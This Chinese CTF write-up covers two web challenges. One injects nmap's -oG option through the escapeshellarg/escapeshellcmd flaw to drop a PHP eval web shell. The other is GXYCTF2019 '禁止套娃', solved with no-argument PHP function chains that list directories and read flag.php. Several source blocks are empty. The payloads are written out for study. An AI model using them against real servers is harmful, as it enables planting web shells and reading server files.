1.nmap
考察点:namp -oG可写入文件,代码审计
源码:
1 |
|
escapeshellarg和escapeshellcmd配合漏洞
- 传入的参数是:
172.17.0.2' -v -d a=1 - 经过
escapeshellarg处理后变成了'172.17.0.2'\'' -v -d a=1',即先对单引号转义,再用单引号将左右两部分括起来从而起到连接的作用。 - 经过
escapeshellcmd处理后变成'172.17.0.2'\\'' -v -d a=1\',这是因为escapeshellcmd对\以及最后那个不配对儿的引号进行了转义:http://php.net/manual/zh/function.escapeshellcmd.php - 最后执行的命令是
curl '172.17.0.2'\\'' -v -d a=1\',由于中间的\\被解释为\而不再是转义字符,所以后面的'没有被转义,与再后面的'配对儿成了一个空白连接符。所以可以简化为curl 172.17.0.2\ -v -d a=1',即向172.17.0.2\发起请求,POST 数据为a=1'。
回到mail中,我们的 payload 最终在执行时变成了'-fa'\\''\( -OQueueDirectory=/tmp -X/var/www/html/test.php \)@a.com\',分割后就是-fa\(、-OQueueDirectory=/tmp、-X/var/www/html/test.php、)@a.com',最终的参数就是这样被注入的。
namp的 -oG模式是可以写入文件的
1 | ?host=' -oG shell.php -- <-phsp @eval($_POST[1]); ?> |
疑问?
明明写入的代码也会被\转义,为什么能被执行呢
1 | 1.在 Linux 中,反斜杠(\)是转义字符,用于改变后面字符的原始意义。它告诉解释器后面的字符应该被特殊对待,而不是按照其原始含义解释。\\ 表示一个反斜杠字符。 |
那一切都合理了\在linux中其实相当于无实义连接符
剑蚁链接

[GXYCTF2019]禁止套娃
考察点1.禁止扫描时候怎么扫描?
1 | 我们输入: |
返回了
1 | Skipped the target due to 429 status code |
看来我们得放慢扫描速度:
1 | [root@localhost dirsearch]# python3 dirsearch.py -u http://1d4bed91-4866-4caa-8e71-97180e203256.node5.buuoj.cn:81/ -t 10 --delay 2 |
得到:

由于没有下载githack,便去看别人的抓到的:
1 |
|
考察点2.无参数构造
1 | ';' === preg_replace('/[a-z,_]+\((?R)?\)/', NULL, $_GET['exp']) |
正则表达式解析
正则模式:/[a-z,_]+$(?R)?$/
[a-z,_]+- 匹配函数名:允许小写字母、下划线(
_)和逗号(,)。 - 注意:PHP 函数名中 不允许逗号,此处可能是题目设计的陷阱或笔误,实际应为
[a-z_]+。
- 匹配函数名:允许小写字母、下划线(
$和$- 匹配函数调用的括号
()。
- 匹配函数调用的括号
(?R)?(?R)表示 递归匹配整个正则表达式,即允许函数调用的参数部分也是一个无参数的函数调用。?表示递归部分是可选的(允许无参数函数)。
合法输入示例
简单函数链
1
a();
- 替换后结果:
;(符合条件)。
- 替换后结果:
嵌套函数链
1
a(b(c()));
- 替换过程:
- 匹配最内层
c()→ 替换为空 → 剩余a(b()); - 匹配
b()→ 替换为空 → 剩余a(); - 匹配
a()→ 替换为空 → 剩余;
- 匹配最内层
- 最终结果:
;(符合条件)。
- 替换过程:
非法输入示例
含参数或字符串
1
readfile('flag.php');
'flag.php'不符合正则模式 → 替换后残留'flag.php';→ 结果不是;。
所以要进行无参数构造
1 | ?exp=print_r(scandir(current(localeconv()))); |
返回了:

1 | print_r(scandir(dirname(getcwd()))); #不行 |
是因为na被禁止了
1 | highlight_file(next(array_reverse(scandir(current(localeconv()))))); |

解释exp:
步骤 1:获取当前目录
1 | current(localeconv()) |
localeconv():返回包含本地化信息的数组,其第一个元素是小数点字符('.')。示例输出:
1
Array ( [decimal_point] => . ... )
**
current()**:取数组第一个元素的值,即'.'(当前目录)。
步骤 2:列出当前目录文件
1 | scandir(current(localeconv())) |
scandir('.'):列出当前目录下的文件和子目录。示例输出:
1
Array ( [0] => . [1] => .. [2] => .git [3] => flag.php [4] => index.php )
步骤 3:反转数组顺序
1 | array_reverse(scandir(current(localeconv()))) |
array_reverse():反转数组顺序,使flag.php更接近数组头部。示例输出:
1
Array ( [0] => index.php [1] => flag.php [2] => .git [3] => .. [4] => . )
思考:
若是想访问上级目录,但是dirname被禁止了,我该怎么办?
本地搭建测试
1 |
|

1 |
|

1.尝试直接用chr()
1 | highlight_file(current(localeconv()).chr(46).chr(46).chr(47).'flag.php'); |
第一步就无法绕过
2.灵活使用next
1 | ?exp=print_r(next(scandir(current(localeconv())))); |

1 | ?exp=print_r(scandir(next(scandir(current(localeconv()))))); |
成功返回上级

再努力查:
1 | ?exp=print_r(realpath(current(localeconv()))); |

1 | ?exp=print_r(realpath(next(scandir(current(localeconv()))))); |

后面再怎么努力也无法读出
问ai发现必须出现 . 来进行链接